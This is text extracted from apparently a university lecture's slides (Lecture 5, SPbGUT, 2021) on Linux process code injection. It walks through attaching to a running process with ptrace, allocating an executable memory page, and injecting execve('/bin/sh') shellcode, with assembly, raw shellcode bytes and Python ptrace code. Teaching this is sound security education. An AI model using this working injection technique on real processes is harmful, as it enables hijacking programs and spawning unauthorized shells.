Лекция 5
.pdfПодмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop
11750: I'm alive and now ... $ ./alloc_pages.py -p \
11750: I'm alive and now ... |
$(pgrep simple_loop) -n 1 \ |
|||
11750: I'm alive and now ... |
-d '/bin/sh' |
|||
11750: I'm alive and now ... |
attached |
|||
11750: I'm |
alive |
and |
now ... |
successful trap |
11750: I'm |
alive |
and |
now ... |
rwx page has address 0x7fde5e171000L |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
31/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop
11750: I'm alive and now ... $ ./alloc_pages.py -p \
11750: I'm alive and now ... |
$(pgrep simple_loop) -n 1 \ |
11750: I'm alive and now ... |
-d '/bin/sh' |
11750: I'm alive and now ... |
attached |
11750: I'm alive and now ... |
successful trap |
11750: I'm alive and now ... |
rwx page has address 0x7fde5e171000L |
Проверка корректности записи в память |
|
|
$ gdb -q |
|
|
|
(gdb) attach 11750 |
|
(gdb) p (const char *)0x7fde5e171000 |
|
$1 = 0x7fde5e171000 "/bin/sh" |
|
(gdb) quit |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
31/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop
11750: I'm alive and now ... $ ./alloc_pages.py -p \
11750: I'm alive and now ... |
|
$(pgrep simple_loop) -n 1 \ |
11750: I'm alive and now ... |
|
-d '/bin/sh' |
11750: I'm alive and now ... |
|
attached |
11750: I'm alive and now ... |
|
successful trap |
11750: I'm alive and now ... |
|
rwx page has address 0x7fde5e171000L |
Проверка корректности записи в память |
||
|
|
$ gdb -q |
|
|
|
|
|
(gdb) attach 11750 |
|
|
(gdb) p (const char *)0x7fde5e171000 |
|
|
$1 = 0x7fde5e171000 "/bin/sh" |
Запуск shell-интерпретатора |
|
(gdb) quit |
|
|
|
$ uname -r |
|
$ ./call_execve.py \ |
|
||
3.16.0-7-amd64 |
|
-p $(pgrep simple_loop) \ |
|
|
-a $(printf "%d" 0x7fde5e171000) |
|
|
attached |
|
|
successful trap |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
31/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Алгоритм инъекции кода (2)
Подключиться к процессу запущенной программы simple_loop
Выделить память на чтение/запись/исполнение
Записать строку, содержащую команды по подготовке регистров и вызову системной функции execve, в выделенную память
Установить значение регистра rax равным адресу памяти
Выполнить переход по указанному адресу (call rax или jmp rax)
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
32/50 |
Подмена dll |
|
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
execve_sh_64.asm |
|
||
1 section |
.text |
|
|
|
2 |
global _start |
|
||
3 |
_start : |
|
|
|
4 |
xor |
rdx , |
rdx |
|
5 |
xor |
rsi , |
rsi |
|
6 |
xor |
rax , |
rax |
|
7 |
mov |
rcx , |
" // bin / sh " |
|
8 |
push |
rax |
|
|
9 |
push |
rcx |
|
|
10 |
mov al , 0 x3b ; execve syscode |
|
||
11 |
mov |
rdi , |
rsp |
|
12 |
syscall |
|
|
Компиляция (для x86_64):
$ nasm -felf64 execve_sh_64.asm -o execve_sh_64.o
Компоновка:
$ ld execve_sh_64.o -o execve_sh_64
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
33/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
objdump execve_sh_64 (дизассемблирование)
$ objdump -M intel -d execve_sh_64
execve_sh_64: file format elf64-x86-64
Disassembly of section .text: |
|
||||
0000000000400080 <_start>: |
|
||||
400080: |
48 |
31 |
d2 |
xor |
rdx,rdx |
400083: |
48 |
31 |
f6 |
xor |
rsi,rsi |
400086: |
48 |
31 |
c0 |
xor |
rax,rax |
400089: |
48 |
b9 |
2f |
2f 62 69 6e movabs rcx,0x68732f6e69622f2f |
|
400090: |
2f |
73 |
68 |
|
|
400093: |
50 |
|
|
push |
rax |
400094: |
51 |
|
|
push |
rcx |
400095: |
b0 |
3b |
|
mov |
al,0x3b |
400097: |
48 |
89 |
e7 |
mov |
rdi,rsp |
40009a: |
0f |
05 |
|
syscall |
|
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
34/50 |
Подмена dll Изменение дампа памяти Python-процесса Инъекция кода
py_ptrace.py (8)
142
143 def call_execve_via_addr (pid , addr ):
144libc . ptrace ( PTRACE_ATTACH , pid , None , None )
145status = os . waitpid (pid , 0)
146 if os . WIFSTOPPED ( status [1]) and \
147os . WSTOPSIG ( status [1]) == signal . SIGSTOP :
148print ' attached '
149else :
150print ' not attached '
151sys . exit (1)
152
153# get registers
154regs = user_regs_struct ()
155libc . ptrace ( PTRACE_GETREGS , pid , None ,
156 |
ctypes . byref ( regs )) |
157 |
|
158# set new values of registers
159regs . rax = addr
160libc . ptrace ( PTRACE_SETREGS , pid , None ,
161 |
ctypes . byref ( regs )) |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
35/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (9)
162
163# ffe0 - jmp rax
164libc . ptrace ( PTRACE_POKEDATA , pid ,
165 |
ctypes . c_void_p ( regs . rip ), 0 xe0ff ) |
166 |
libc . ptrace ( PTRACE_CONT , pid , None , None ) |
167 |
|
168# wait while instruction is executed
169status = os . waitpid (pid , 0)
170 if os . WIFSTOPPED ( status [1]) and \
171os . WSTOPSIG ( status [1]) == signal . SIGTRAP :
172print ' successful trap '
173else :
174print ' unsuccessful trap '
175
176 libc . ptrace ( PTRACE_CONT , pid , None , None )
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
36/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
call_execve_via_addr.py |
|
||
1 |
# !/ usr / bin / python |
|
|
2 |
|
|
|
3 from |
argparse import ArgumentParser |
|
|
4 from |
py_ptrace import call_execve_via_addr |
||
5 |
|
|
|
6 arg_parser = ArgumentParser () |
|
||
7 arg_parser . add_argument ( '-p ', ' -- pid ', |
type =int , |
||
8 |
|
required = True , |
|
9 |
|
help = ' set process id ') |
|
10 arg_parser . add_argument ( '-a ', ' --addr ', |
type =int , |
||
11 |
|
required =False , |
|
12 |
|
help = ' set address ') |
|
13 |
|
|
|
14 args |
= arg_parser . parse_args () |
|
|
15 pid = |
args . pid |
|
|
16 addr |
= args . addr |
|
17 call_execve_via_addr (pid , addr )
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
37/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop
22222: I'm alive and now ... $ ./alloc_pages.py -p \
22222: I'm alive and now ... |
$(pgrep simple_loop) -n 1 \ |
22222: I'm alive and now ... |
-d $(echo -e '\x48\x31\xd2\x48' \ |
22222: I'm alive and now ... |
'\x31\xf6\x48\x31\xc0\x48\xb9 ' \ |
22222: I'm alive and now ... |
'\x2f\x2f\x62\x69\x6e\x2f\x73 ' \ |
22222: I'm alive and now ... |
'\x68\x50\x51\xb0\x3b\x48\x89 ' \ |
|
'\xe7\x0f\x05') |
|
attached |
|
successful trap |
|
rwx page has address 0x7f1965eba000L |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
38/50 |